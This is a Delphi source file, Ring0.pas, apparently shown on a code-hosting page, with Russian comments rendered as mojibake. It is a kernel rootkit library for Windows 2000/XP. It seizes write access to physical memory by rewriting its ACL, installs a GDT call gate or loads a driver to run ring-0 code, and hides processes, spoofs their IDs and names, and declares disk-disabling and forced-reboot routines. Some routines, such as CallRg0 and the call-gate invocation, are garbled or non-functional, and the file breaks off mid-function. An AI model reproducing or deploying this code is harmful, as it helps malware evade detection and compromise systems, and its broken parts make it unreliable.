-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRing0.pas
1070 lines (1041 loc) · 28.5 KB
/
Ring0.pas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
{
Delphi Ring0 Library.
Èñïîëíåíèå êîäà â íóëåâîì êîëüöå,
ðàáîòà ñ ïðîöåññàìè è ïàìÿòüþ ÿäðà.
Coded By Ms-Rem ( [[email protected]][email protected][/email] ) ICQ 286370715
}
unit Ring0;
interface
uses
Windows,
NativeApi;
type
TPROCESS = packed record
ProcessId : dword;
ImageName : array [0..15] of Char;
pEPROCESS : dword;
ParrentPid: dword;
end;
PSYS_PROCESSES = ^TSYS_PROCESSES;
TSYS_PROCESSES = packed record
ProcessesCount: dword;
Process: array[0..0] of TPROCESS;
end;
const
CALL_GATE = 0;
DRIVER_GATE = 1;
function OpenPhysicalMemory(mAccess: dword): THandle;
function QuasiMmGetPhysicalAddress(VirtualAddress: dword;
var Offset: dword): dword;
Procedure CallRing0(const Ring0Proc: pointer; Param: pointer);
function GetKernelModuleAddress(pModuleName: PChar): dword;
Function GetPhysicalAddress(VirtualAddress: dword): LARGE_INTEGER; stdcall;
function MapVirtualMemory(vAddress: pointer; Size: dword): pointer;
Procedure Ring0CopyMemory(Source, Destination: pointer; Size: dword);
Function GetKernelProcAddress(lpProcName: PChar): dword;
function GetSystemEPROCESS(): dword;
function InitialzeRing0Library(Ring0GateType: dword): boolean;
Procedure FreeRing0Library();
Function GetEPROCESSAdr(ProcessId: dword): dword;
Procedure HideProcessEx(pEPROCESS: dword);
function HideProcess(ProcessId: dword): dword;
Procedure FreeSystemMemory(Mem: dword);
Procedure ShowProcess(pEPROCESS: dword);
function GetProcesses(): PSYS_PROCESSES;
function InjectDataToSystemMemory(Mem: pointer; Size: dword): dword;
Procedure ChangeProcessIdEx(pEPROCESS: dword; NewPid: dword);
Procedure ChangeProcessId(OldPid: dword; NewPid: dword);
Procedure ChangeProcessNameEx(pEPROCESS: dword; NewName: PChar);
Procedure ChangeProcessName(ProcessId: dword; NewName: PChar);
Procedure SetIoAccessMap(pMap: pointer);
Procedure GetIoAccessMap(pMap: pointer);
Procedure SetIoAccessProcessEx(pEPROCESS: dword; Access: boolean);
Procedure SetIoAccessProcess(ProcessId: dword; Access: boolean);
Procedure OpenPort(Port: dword; CanOpen: boolean);
Procedure DisableHDD();
Procedure FastReboot();
implementation
type
PFarCall = ^TFarCall;
TFarCall = packed record
Offset: DWORD;
Selector: Word;
end;
TGDTInfo = packed record
Limit: Word;
Base: DWORD;
end;
PGateDescriptor = ^TGateDescriptor;
TGateDescriptor = packed record
OffsetLo: Word; // íèæíèå 2 áàéòà àäðåñà
Selector: Word; // êîäîâûé ñåëåêòîð (îïðåäåëÿåò ïðèâèëåãèè)
Attributes: Word; // àòðèáóòû øëþçà
OffsetHi: Word; // âåðõíèå 2 áàéòà àäðåñà
end;
PR0DriverQuery = ^TR0DriverQuery;
TR0DriverQuery = packed record
QueryType: dword;
Param1: dword;
Param2: dword;
Param3: dword;
end;
TRUSTEE_A = packed record
pMultipleTrustee: pointer;
MultipleTrusteeOperation: dword;
TrusteeForm: dword;
TrusteeType: dword;
ptstrName: PAnsiChar;
end;
PEXPLICIT_ACCESS = ^EXPLICIT_ACCESS;
EXPLICIT_ACCESS = packed record
grfAccessPermissions: DWORD;
grfAccessMode: dword;
grfInheritance: DWORD;
Trustee: TRUSTEE_A;
end;
function GetSecurityInfo(handle: THandle; ObjectType: dword;
SecurityInfo: SECURITY_INFORMATION;
ppsidOwner, ppsidGroup: ppointer;
ppDacl, ppSacl: pointer;
var ppSecurityDescriptor: PSECURITY_DESCRIPTOR): DWORD;
stdcall; external 'advapi32.dll';
function SetEntriesInAclA(cCountOfExplicitEntries: ULONG;
pListOfExplicitEntries: PEXPLICIT_ACCESS;
OldAcl: PACL; var NewAcl: PACL): DWORD;
stdcall; external 'advapi32.dll';
function SetSecurityInfo(handle: THandle; ObjectType: dword;
SecurityInfo: SECURITY_INFORMATION;
ppsidOwner, ppsidGroup: ppointer;
ppDacl, ppSacl: PACL): DWORD;
stdcall; external 'advapi32.dll';
const
KernelName = 'ntoskrnl.exe';
MemDeviceName: PWideChar = '\Device\PhysicalMemory';
Driver = '\registry\machine\system\CurrentControlSet\Services\KernelPort';
SE_KERNEL_OBJECT = 6;
GRANT_ACCESS = 1;
NO_MULTIPLE_TRUSTEE = 0;
TRUSTEE_IS_NAME = 1;
TRUSTEE_IS_USER = 1;
NO_INHERITANCE = 0;
var
FarCall: TFarCall;
CurrentGate: PGateDescriptor;
OldGate: TGateDescriptor;
ptrGDT: Pointer;
Ring0ProcAdr: pointer; // òåêóùèé óêàçàòåëü íà êîä ïîäëåæàùèé âûçîâó ÷åðåç øëþç.
AdrMmGetPhys: dword; // GetPhysicalAddress
AdrMmIsValid: dword; // MmIsAddressValid
AdrIoGetCurr: dword; // IoGetCurrentProcess
AdrSetIoAccess: dword; // Ke386SetIoAccessMap
AdrGetIoAccess: dword; // Ke386GetIoAccessMap
AdrSetAccProc: dword; // Ke386IoSetAccessProcess
AdrExAllocPool: dword; // ExAllocatePool
AdrExFreePool: dword; // ExFreePool
GateType: dword;
KernelBase : dword; // àäðåñ ÿäðà â ïàìÿòè
dKernelBase: dword; // àäðåñ ÿäðà ïîäãðóæåííîãî â User Space
hPhysMem: dword; // õýíäë ñåêöèè \Device\PhysicalMemory
hDriver: dword;
UndocData : packed record
{00} BaseProcStrAdr : dword; // àäðåñ ïåðâîé EPROCESS
{04} ActivePsListOffset: dword; // ñìåùåíèå ActivePsList â EPROCESS
{08} PidOffset: dword; // ñìåùåíèå ProcessID â EPROCESS
{0C} NameOffset: dword; // ñìåùåíèå ImageName â EPROCESS
{10} ppIdOffset: dword; // ñìåùåíèå ParrentPid â EPROCESS
{14} ImgNameOffset: dword; // ñìåùåíèå ImageFileName â EPROCESS
end;
{ ïåðåçàãðóçêà ðåãèñòðà FS è âûçîâ Ring0 êîäà }
procedure Ring0CallProc;
asm
cli
pushad
pushfd
mov di, $30
mov fs, di
call Ring0ProcAdr
mov di, $3B
mov fs, di
popfd
popad
sti
retf
end;
Procedure SendDriverRequest(ReqType, Param1, Param2: dword);
var
Query: TR0DriverQuery;
Written: dword;
begin
Query.QueryType := ReqType;
Query.Param1 := Param1;
Query.Param2 := Param2;
WriteFile(hDriver, Query, SizeOf(TR0DriverQuery), Written, nil);
end;
{ Îòêðûòèå ôèçè÷åñêîé ïàìÿòè }
function OpenPhysicalMemory(mAccess: dword): THandle;
var
PhysMemString: TUnicodeString;
Attr: TObjectAttributes;
OldAcl, NewAcl: PACL;
SD: PSECURITY_DESCRIPTOR;
Access: EXPLICIT_ACCESS;
mHandle: dword;
begin
Result := 0;
RtlInitUnicodeString(@PhysMemString, MemDeviceName);
InitializeObjectAttributes(@Attr, @PhysMemString, OBJ_CASE_INSENSITIVE or
OBJ_KERNEL_HANDLE, 0, nil);
if ZwOpenSection(@mHandle, READ_CONTROL or
WRITE_DAC , @Attr) <> STATUS_SUCCESS then Exit;
if GetSecurityInfo(mHandle, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
nil, nil, @OldAcl, nil, SD) <> ERROR_SUCCESS then Exit;
with Access do
begin
grfAccessPermissions := mAccess;
grfAccessMode := GRANT_ACCESS;
grfInheritance := NO_INHERITANCE;
Trustee.pMultipleTrustee := nil;
Trustee.MultipleTrusteeOperation := NO_MULTIPLE_TRUSTEE;
Trustee.TrusteeForm := TRUSTEE_IS_NAME;
Trustee.TrusteeType := TRUSTEE_IS_USER;
Trustee.ptstrName := 'CURRENT_USER';
end;
SetEntriesInAclA(1, @Access, OldAcl, NewAcl);
SetSecurityInfo(mHandle , SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
nil, nil, NewAcl, nil);
ZwOpenSection(@Result, mAccess, @Attr);
SetSecurityInfo(mHandle , SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
nil, nil, OldAcl, nil);
CloseHandle(mHandle);
LocalFree(DWORD(NewAcl));
LocalFree(DWORD(SD));
end;
{
Ïîëó÷åíèå ôèçè÷åñêîãî àäðåñà èç âèðòóàëüíîãî.
Äåéñòâèòåëüíî òîëüêî äëÿ Nonpaged Memory.
}
function QuasiMmGetPhysicalAddress(VirtualAddress: dword;
var Offset: dword): dword;
begin
Offset := VirtualAddress and $FFF;
if (VirtualAddress > $80000000) and (VirtualAddress < $A0000000) then
Result := VirtualAddress and $1ffff000
else Result := VirtualAddress and $fff000;
end;
{ óñòàíîâêà êàëãåéòà }
Function InstallCallgate(hPhysMem: dword): boolean;
var
gdt: TGDTInfo;
offset, base_address: DWORD;
begin
Result := false;
if hPhysMem = 0 then Exit;
asm sgdt [gdt] end;
base_address := QuasiMmGetPhysicalAddress(gdt.Base, offset);
ptrGDT := MapViewOfFile(hPhysMem, FILE_MAP_READ or FILE_MAP_WRITE,
0, base_address, gdt.limit + offset);
if ptrGDT = nil then Exit;
CurrentGate := PGateDescriptor(DWORD(ptrGDT) + offset);
repeat
CurrentGate := PGateDescriptor(DWORD(CurrentGate) + SizeOf(TGateDescriptor));
if (CurrentGate.Attributes and $FF00) = 0 then
begin
OldGate := CurrentGate^;
CurrentGate.Selector := $08; // ring0 code selector
CurrentGate.OffsetLo := DWORD(@Ring0CallProc);
CurrentGate.OffsetHi := DWORD(@Ring0CallProc) shr 16;
CurrentGate.Attributes := $EC00;
FarCall.Offset := 0;
FarCall.Selector := DWORD(CurrentGate) - DWORD(ptrGDT) - offset;
Break;
end;
until DWORD(CurrentGate) >= DWORD(ptrGDT) + gdt.limit + offset;
FlushViewOfFile(CurrentGate, SizeOf(TGateDescriptor));
Result := true;
end;
{ óäàëåíèå êàëëãåéòà }
Procedure UninstallCallgate();
begin
CurrentGate^ := OldGate;
UnmapViewOfFile(ptrGDT);
end;
procedure CallRg0(Ring0Func:pointer);
const
ExceptionUsed = 5;
var
IDT : array [0..7] of byte;
lpOldGate : dword;
asm
push eax
mov eax, [eax + $04]
push eax
test eax, eax
jz @Exit
pop eax
mov ebx, [eax] //UndocAdr
mov ecx, [eax + $04] //pEPROCESS
add esi, $04
//mov edi, [ecx + esi] //ActivePsList.Blink
mov [edx + $04], edi //ActivePsList.Flink.Blink = ActivePsList.Blink
@Exit:
pop eax
ret
end;
{ Âûçîâ ïðîöåäóðû ñ ïåðåõîäîì â 0 êîëüöî. }
Procedure CallRing0(const Ring0Proc: pointer; Param: pointer);
begin
case GateType of
CALL_GATE : asm
mov eax, Ring0Proc
mov Ring0ProcAdr, eax
mov eax, Param
lea eax, FarCall
//db $0ff, $01d // call far [FarCall]
//dd offset FarCall; //
end;
DRIVER_GATE : SendDriverRequest(0, dword(Ring0Proc), dword(Param));
end;
end;
{
Ïîëó÷åíèå âèðòóàëüíîãî àäðåñà äëÿ ìîäóëÿ
çàãðóæåííîãî â ñèñòåìíîå àäðåñíîå ïðîñòðàíñòâî.
}
function GetKernelModuleAddress(pModuleName: PChar): dword;
var
Info: PSYSTEM_MODULE_INFORMATION_EX;
R: dword;
begin
Result := 0;
Info := GetInfoTable(SystemModuleInformation);
for r := 0 to Info^.ModulesCount do
if lstrcmpi(PChar(dword(@Info^.Modules[r].ImageName)
+ Info^.Modules[r].ModuleNameOffset), pModuleName) = 0 then
begin
Result := dword(Info^.Modules[r].Base);
break;
end;
VirtualFree(Info, 0, MEM_RELEASE);
end;
{
Ïîëó÷åíèå ôèçè÷åñêîãî àäðåñà ïî âèðòóàëüíîìó.
Äåéñòâèòåëüíî äëÿ ëþáûõ ðåãèîíîâ ïàìÿòè.
}
Function GetPhysicalAddress(VirtualAddress: dword): LARGE_INTEGER; stdcall;
var
Data : packed record
VirtualAddress: dword;
Result: LARGE_INTEGER;
end;
Procedure Ring0Call;
asm
mov ebx, [eax]
push ebx
mov esi, eax
call AdrMmGetPhys
mov [esi + $04], eax
mov [esi + $08], edx
ret
end;
begin
Data.VirtualAddress := VirtualAddress;
CallRing0(@Ring0Call, @Data);
Result.QuadPart := Data.Result.QuadPart;
end;
{
Îòîáðàæåíèå ó÷àñòêà âèðòóàëüíîé ïàìÿòè â
òåêóøåì ïðîöåññå ÷åðåç ôèçè÷åñêóþ ïàìÿòü.
}
function MapVirtualMemory(vAddress: pointer; Size: dword): pointer;
var
MappedAddress: LARGE_INTEGER;
begin
Result := nil;
MappedAddress := GetPhysicalAddress(dword(vAddress));
if MappedAddress.QuadPart = 0 then Exit;
Result := MapViewOfFile(hPhysMem, FILE_MAP_READ or FILE_MAP_WRITE,
0, MappedAddress.LowPart, Size);
end;
{
Êîïèðîâàíèå ó÷àñòêà ïàìÿòè èç 0 êîëüöà.
Ìîæíî ðàáîòàòü ñ ïàìÿòüþ ÿäðà.
ÂÍÈÌÀÍÈÅ! íåêîððåêòíàÿ çàïèñü â ïàìÿòü ÿäðà ïðèâåäåò ê ïàäåíèþ ñèñòåìû!
}
Procedure Ring0CopyMemory(Source, Destination: pointer; Size: dword);
var
Data : packed record
Src: pointer;
Dst: pointer;
Size: dword;
end;
Procedure Ring0Call;
asm
//ïðîâåðêà àäðåñîâ
mov ebx, eax
mov eax, [ebx]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
mov eax, [ebx]
add eax, [ebx + $08]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
mov eax, [ebx + $04]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
mov eax, [ebx + $04]
add eax, [ebx + $08]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
//êîïèðîâàíèå
mov esi, [ebx]
mov edi, [ebx + $04]
mov ecx, [ebx + $08]
rep movsb
@Exit:
ret
end;
begin
Data.Src := Source;
Data.Dst := Destination;
Data.Size := Size;
VirtualLock(Source, Size);
VirtualLock(Destination, Size);
CallRing0(@Ring0Call, @Data);
VirtualUnlock(Source, Size);
VirtualUnlock(Destination, Size);
end;
{ Ïîëó÷åíèå àäðåñà ÿäåðíîé API â ñèñòåìíîì àäðåñíîì ïðîñòðàíñòâå. }
Function GetKernelProcAddress(lpProcName: PChar): dword;
var
uProc: dword;
begin
uProc := dword(GetProcAddress(dKernelBase, lpProcName));
if uProc > 0 then Result := (uProc - dKernelBase) + KernelBase
else Result := 0;
end;
{ ïîëó÷åíèå óêàçàòåëÿ íà ñòðóêòóðó EPROCESS äëÿ System }
function GetSystemEPROCESS(): dword;
var
Data: packed record
UndocAdr: pointer;
Result: dword;
end;
procedure Ring0Call;
asm
mov ebx, eax
call AdrIoGetCurr
mov edx, [ebx] // UndocAdr
mov esi, [edx + $04] // ActivePsListOffset
mov edi, [edx + $10] // pPidOffset
@Find:
mov ecx, [eax + edi]
test ecx, ecx
jz @Found
mov eax, [eax + esi]
sub eax, esi
jmp @Find
@Found:
mov [ebx + $04], eax
ret
end;
begin
Data.UndocAdr := @UndocData;
CallRing0(@Ring0Call, @Data);
Result := Data.Result;
end;
{ ñîçäàíèå çàïèñè î äðàéâåðå â ðååñòðå. }
Procedure InstallDriver();
var
Key, Key2: HKEY;
Pth: PChar;
dType: dword;
Image: array [0..MAX_PATH] of Char;
begin
lstrcpy(Image, '\??\');
GetFullPathName('Ring0Port.sys', MAX_PATH, PChar(dword(@Image) + 4), Pth);
dType := 1;
RegOpenKey(HKEY_LOCAL_MACHINE, 'system\CurrentControlSet\Services', Key);
RegCreateKey(Key, 'KernelPort', Key2);
RegSetValueEx(Key2, 'ImagePath', 0, REG_SZ, @Image, lstrlen(Image));
RegSetValueEx(Key2, 'Type', 0, REG_DWORD, @dType, SizeOf(dword));
RegCloseKey(Key2);
RegCloseKey(Key);
end;
{ óäàëíèå èç ðååñòðà çàïèñè î äðàéâåðå. }
Procedure UninstallDriver();
var
Key: HKEY;
begin
RegOpenKey(HKEY_LOCAL_MACHINE, 'system\CurrentControlSet\Services', Key);
RegDeleteKey(Key, 'KernelPort');
RegCloseKey(Key);
end;
{ çàãðóçêà äðàéâåðà è îòêðûòèå åãî óñòðîéñòâà. }
Function OpenDriver(): THandle;
var
Image: TUnicodeString;
begin
InstallDriver();
RtlInitUnicodeString(@Image, Driver);
ZwLoadDriver(@Image);
Result := CreateFile('\\.\Ring0Port', GENERIC_WRITE, 0,
nil, OPEN_EXISTING, 0, 0);
end;
{ îòêðûòèå ïàìÿòè è óñòàíîâêà êàëãåéòà. }
Function InitializeCallGate(): boolean;
begin
Result := false;
hPhysMem := OpenPhysicalMemory(SECTION_MAP_READ or SECTION_MAP_WRITE);
if hPhysMem = 0 then Exit;
Result := InstallCallgate(hPhysMem);
end;
function InitializeDriverGate(): boolean;
begin
hDriver := OpenDriver();
Result := hDriver <> INVALID_HANDLE_VALUE;
end;
{ Èíèöèàëèçàöèÿ Ring0 áèáëèîòåêè. }
function InitialzeRing0Library(Ring0GateType: dword): boolean;
var
Version: TOSVersionInfo;
begin
Result := false;
Version.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
GetVersionEx(Version);
if Version.dwMajorVersion <> 5 then Exit;
case Version.dwBuildNumber of
2195 : begin // Windows 2000
UndocData.ActivePsListOffset := $0A0;
UndocData.PidOffset := $09C;
UndocData.NameOffset := $1FC;
UndocData.ppIdOffset := $1C8;
UndocData.ImgNameOffset := $000;
end;
2600 : begin // Windows XP
UndocData.ActivePsListOffset := $088;
UndocData.PidOffset := $084;
UndocData.NameOffset := $174;
UndocData.ppIdOffset := $14C;
UndocData.ImgNameOffset := $1F4;
end;
else Exit;
end;
KernelBase := GetKernelModuleAddress(KernelName);
dKernelBase := LoadLibraryEx(KernelName, 0, DONT_RESOLVE_DLL_REFERENCES);
AdrMmGetPhys := GetKernelProcAddress('MmGetPhysicalAddress');
AdrMmIsValid := GetKernelProcAddress('MmIsAddressValid');
AdrIoGetCurr := GetKernelProcAddress('IoGetCurrentProcess');
AdrSetIoAccess := GetKernelProcAddress('Ke386SetIoAccessMap');
AdrGetIoAccess := GetKernelProcAddress('Ke386QueryIoAccessMap');
AdrSetAccProc := GetKernelProcAddress('Ke386IoSetAccessProcess');
AdrExAllocPool := GetKernelProcAddress('ExAllocatePool');
AdrExFreePool := GetKernelProcAddress('ExFreePool');
GateType := Ring0GateType;
case GateType of
CALL_GATE : Result := InitializeCallGate();
DRIVER_GATE : Result := InitializeDriverGate();
end;
if Result then UndocData.BaseProcStrAdr := GetSystemEPROCESS();
end;
Procedure FreeDriver();
var
Image: TUnicodeString;
begin
CloseHandle(hDriver);
RtlInitUnicodeString(@Image, Driver);
ZwUnloadDriver(@Image);
UninstallDriver();
end;
{ Îñâîáîæäåíèå ðåñóðñîâ áèáëèîòåêè }
Procedure FreeRing0Library();
begin
case GateType of
CALL_GATE : begin
UninstallCallgate();
CloseHandle(hPhysMem);
end;
DRIVER_GATE : FreeDriver();
end;
FreeLibrary(dKernelBase);
end;
{
Ïîëó÷åíèå ïî ProcessId óêàçàòåëÿ íà ñòðóêðóðó ÿäðà EPROCESS
ñâÿçàííóþ ñ äàííûì ïðîöåññîì.
}
Function GetEPROCESSAdr(ProcessId: dword): dword;
var
Data: packed record
UndocAdr: pointer;
ProcessId: dword;
Result: dword;
end;
procedure Ring0Call;
asm
mov ebx, [eax] //UndocAdr
mov ecx, [eax + $04] //ProcessId
push eax
mov eax, [ebx] //BaseProcStrAdr
mov esi, [ebx + $04] //ActivePsListOffset
mov edi, [ebx + $08] //PidOffset
@Find:
mov edx, [eax + edi] //ActivePs.Pid
cmp edx, ecx //compare process id
jz @Found
mov eax, [eax + esi] // ActivePsList.Flink
sub eax, esi //sub ActivePsListOffset
cmp eax, [ebx] //final
jz @End
jmp @Find
@Found:
pop edx
mov [edx + $08], eax //save result
ret
@End:
pop edx
mov [edx + $08], 0
ret
end;
begin
Data.UndocAdr := @UndocData;
Data.ProcessId := ProcessId;
CallRing0(@Ring0Call, @Data);
CallRg0(@Ring0Call);
Result := Data.Result;
end;
{
Ñêðûòèå ïðîöåññà ïî óêàçàòåëþ íà ñòðóêòóðó ÿäðà EPROCESS.
Íåïðàâèëüíûé óêàçàòåëü ìîæåò ïðèâåñòè ê êðàõó ñèñòåìû!
}
Procedure HideProcessEx(pEPROCESS: dword);
var
Data: packed record
UndocAdr: pointer;
pEPROCESS: dword;
end;
Procedure Ring0Call;
asm
push eax
mov eax, [eax + $04]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
pop eax
mov ebx, [eax] //UndocAdr
mov ecx, [eax + $04] //pEPROCESS
mov esi, [ebx + $04] //ActivePsListOffset
mov edx, [ecx + esi] //ActivePsList.Flink
add esi, $04
mov edi, [ecx + esi] //ActivePsList.Blink
mov [edx + $04], edi //ActivePsList.Flink.Blink = ActivePsList.Blink
mov [edi], edx //ActivePsList.Blink.Flink = ActivePsList.Flink
ret
@Exit:
pop eax
ret
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
CallRing0(@Ring0Call, @Data);
end;
{
Ñêðûòèå ïðîöåññà ïî ProcessId.
 ñëó÷àå óäà÷è âîçâðàùàåò óêàçàòåëü íà EPROCESS, èíà÷å 0.
}
function HideProcess(ProcessId: dword): dword;
var
OldPriority: dword;
begin
OldPriority := GetThreadPriority($FFFFFFFE);
SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL);
Result := GetEPROCESSAdr(ProcessId);
HideProcessEx(Result);
SetThreadPriority($FFFFFFFE, OldPriority);
end;
{ Âîññòàíîâëåíèå ïðîöåññà â ñïèñêå ïðîöåññîâ ïî óêàçàòåëþ íà EPROCESS. }
Procedure ShowProcess(pEPROCESS: dword);
var
Data: packed record
UndocAdr: pointer;
pEPROCESS: dword;
end;
Procedure Ring0Call;
asm
push eax
mov eax, [eax + $04]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
pop eax
mov ebx, [eax] //UndocAdr
mov ecx, [eax + $04] //pEPROCESS
mov esi, [ebx + $04] //ActivePsListOffset
mov edx, [ebx] //BaseProcStrAdr
add edx, esi //@BaseProcStrAdr.Flink
add ecx, esi //@pEPROCESS.Flink
mov [ecx + $04], edx //pEPROCESS.Blink = @BaseProcStrAdr.Flink
mov eax, [edx] //@BaseProcStrAdr.Flink.Flink
mov [ecx], eax //pEPROCESS.Flink = @BaseProcStrAdr.Flink.Flink
mov [edx], ecx //BaseProcStrAdr.Flink = @pEPROCESS.Flink
ret
@Exit:
pop eax
ret
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
CallRing0(@Ring0Call, @Data);
end;
{ Ïîëó÷åíèå ñïèñêà ïðîöåññîâ ïðÿìûì äîñòóïîì ê ñòðóêòóðàì ÿäðà. }
function GetProcesses(): PSYS_PROCESSES;
var
Eprocess: array [0..$600] of byte;
CurrentStruct: dword;
CurrSize: dword;
OldPriority: dword;
begin
CurrSize := SizeOf(TSYS_PROCESSES);
GetMem(Result, CurrSize);
ZeroMemory(Result, CurrSize);
ZeroMemory(@Eprocess, $600);
CurrentStruct := UndocData.BaseProcStrAdr + UndocData.ActivePsListOffset;
OldPriority := GetThreadPriority($FFFFFFFE);
SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL);
repeat
CurrentStruct := CurrentStruct - UndocData.ActivePsListOffset;
Ring0CopyMemory(pointer(CurrentStruct), @Eprocess, $220);
if pdword(dword(@Eprocess) + UndocData.ppIdOffset)^ > 0 then
begin
Inc(CurrSize, SizeOf(TPROCESS));
ReallocMem(Result, CurrSize);
Result^.Process[Result^.ProcessesCount].ProcessId :=
pdword(dword(@Eprocess) + UndocData.PidOffset)^;
Result^.Process[Result^.ProcessesCount].pEPROCESS := CurrentStruct;
lstrcpyn(@Result^.Process[Result^.ProcessesCount].ImageName,
PChar(dword(@Eprocess) + UndocData.NameOffset), 16);
Result^.Process[Result^.ProcessesCount].ParrentPid :=
pdword(dword(@Eprocess) + UndocData.ppIdOffset)^;
Inc(Result^.ProcessesCount);
end;
CurrentStruct := pdword(dword(@Eprocess) + UndocData.ActivePsListOffset)^;
if CurrentStruct < $80000000 then break;
until CurrentStruct = UndocData.BaseProcStrAdr + UndocData.ActivePsListOffset;
SetThreadPriority($FFFFFFFE, OldPriority);
end;
{ Ñìåíà Id ïðîöåññà ïî óêàçàòåëþ íà EPROCESS. }
Procedure ChangeProcessIdEx(pEPROCESS: dword; NewPid: dword);
var
Data: packed record
UndocAdr: pointer;
pEPROCESS: dword;
NewId: dword;
end;
Procedure Ring0Call;
asm
push eax
mov eax, [eax + $04]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
pop eax
mov ebx, [eax]
mov esi, [eax + $04] // pEPROCESS
add esi, [ebx + $08] // @pEPROCESS.ProcessId
mov eax, [eax + $08] // NewId
mov [esi], eax
ret
@Exit:
pop eax
ret
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
Data.NewId := NewPid;
CallRing0(@Ring0Call, @Data);
end;
{ Ñìåíà Id ïðîöåññà. }
Procedure ChangeProcessId(OldPid: dword; NewPid: dword);
var
OldPriority: dword;
pEPROCESS : dword;
begin
OldPriority := GetThreadPriority($FFFFFFFE);
SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL);
pEPROCESS := GetEPROCESSAdr(OldPid);
ChangeProcessIdEx(pEPROCESS, NewPid);
SetThreadPriority($FFFFFFFE, OldPriority);
end;
{
Ñìåíà èìåíè ïðîöåññà ïî óêàçàòåëþ íà åãî EPROCESS.
}
Procedure ChangeProcessNameEx(pEPROCESS: dword; NewName: PChar);
var
Data: packed record
{00} UndocAdr: pointer;
{04} pEPROCESS: dword;
{08} NewName: array [0..15] of Char;
{18} UnicName: array [0..15] of WideChar;
{38} UnicLength: word;
end;
